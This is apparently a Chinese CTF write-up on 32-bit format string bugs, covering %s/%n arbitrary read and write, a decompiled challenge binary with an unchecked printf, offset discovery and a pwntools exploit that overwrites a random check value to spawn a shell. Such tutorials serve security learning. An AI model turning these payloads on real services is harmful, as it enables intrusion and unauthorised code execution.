这里深入回顾一下格式化字符串漏洞(32位)
任意位置读写
如果输入内容在栈偏移的第五个字节,可以这样泄露 \x01\x80\x04\x08%5$s
08048001 的内容
同理,\x8c\x97\x04\x08%5$n
可以完成覆盖 08049748c 内容为 4 (前边字符数),而 \x8c\x97\x04\x08%2048c%5$n
可以完成覆盖 08049748c 内容为 2048+4
“一分为四”
以“第五空间”的 五蘊 为例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| int __cdecl main(int a1) { unsigned int v1; // eax int fd; // ST14_4 int result; // eax int v4; // ecx unsigned int v5; // et1 char nptr; // [esp+4h] [ebp-80h] char buf; // [esp+14h] [ebp-70h] unsigned int v8; // [esp+78h] [ebp-Ch] int *v9; // [esp+7Ch] [ebp-8h]
v9 = &a1; v8 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); v1 = time(0); srand(v1); fd = open("/dev/urandom", 0); read(fd, &unk_804C044, 4u); printf("your name:"); read(0, &buf, 0x63u); printf("Hello,"); printf(&buf); ------------------漏洞点 printf("your passwd:"); read(0, &nptr, 0xFu); if ( atoi(&nptr) == unk_804C044 ) { puts("ok!!"); system("/bin/sh"); } else { puts("fail"); } result = 0; v5 = __readgsdword(0x14u); v4 = v5 ^ v8; if ( v5 != v8 ) sub_80493D0(v4); return result; }
|
main 函数很简单,就是看你输入的和 urandom 一样不,这不废话,我们只能覆盖掉 unk_804C044 内容
思路
首先确定偏移量
1 2
| your name:%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x Hello,fff23058.63.0.fff2307e.3.c2.f7e696bb.fff2307e.fff2317c.252e7825.78252e78.2e78252e
|
了解了,从第十个字节,之后上 exp ,来自大佬
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * #context.log_level='debug' r=process('./5')
target=0x804c044 pay=p32(target)+p32(target+1)+p32(target+2)+p32(target+3)+'%10$hhn%11$hhn%12$hhn%13$hhn' r.recvuntil(':') r.sendline(pay) r.recvuntil(':') r.sendline(str(0x10101010)) r.interactive()
|
我们看一下 pay ,第 10 个参数是 0x804c044 这个字节,把它改成 10 ,第 11 个是 0x804c044+1 ,也改成了 10 ,后两个同理,之后直接发送 r.sendline(str(0x10101010))
,就可以了